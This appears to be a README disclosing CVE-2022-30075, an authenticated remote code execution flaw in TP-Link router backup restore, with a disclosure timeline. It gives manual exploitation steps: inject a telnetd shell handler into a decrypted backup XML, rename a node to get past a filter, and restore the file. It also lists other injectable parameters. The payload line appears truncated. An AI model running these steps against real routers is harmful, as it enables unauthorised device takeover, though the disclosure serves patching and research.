# CVE-2022-30075
Authenticated Remote Code Execution in Tp-Link Routers

### Affected Devices
If your Tp-Link router has backup and restore functionality and firmware is older than june 2022, it is probably vulnerable

### Tested With
Tp-Link Archer AX50, other tplink routers may use different format of backups and exploit needs to be modified

### PoC
Using exploit for starting telnet daemon on the router

### Manual Exploitation
1. login to router web interface  
2. go to advanced -> system -> backup settings
3. decrypt and decompress backup file
- if your router uses different format of backup files you can modify exploit code (class BackupParser) or simply use some tool from github:  
4. in decrypted xml file you can find something like this:
<button name="led_switch">
- replace it with these lines
<button name="exploit">
  <handler>/usr/sbin/telnetd -l /bin/</handler>
- there is a restriction that blocks modification of parameter `system.button.handler`, but it can be easily bypassed by changing name of parent xml node (e.g. `name="exploit"`)
- code execution can be achieved not only by changing parameter `system.button.handler`, but also using `ddns.service.ip_script`, `firewall.include.path`, `uhttpd.main`, and others... 
5. compress and encrypt modified backup file
6. go to advanced -> system -> restore settings -> upload modified backup file
7. after reboot, push the led button that triggers execution of injected command `/usr/sbin/telnetd -l /bin/`
8. remotelly login to router: `telnet`

### Timeline
15.03.2022 - Identified vulnerability  
15.03.2022 - Contacted Tp-Link support  
16.03.2022 - Recieved response from Tp-Link  
02.05.2022 - Assigned CVE  
27.05.2022 - Tp-Link released firmware with fixed vulnerability  
07.06.2022 - Published technical details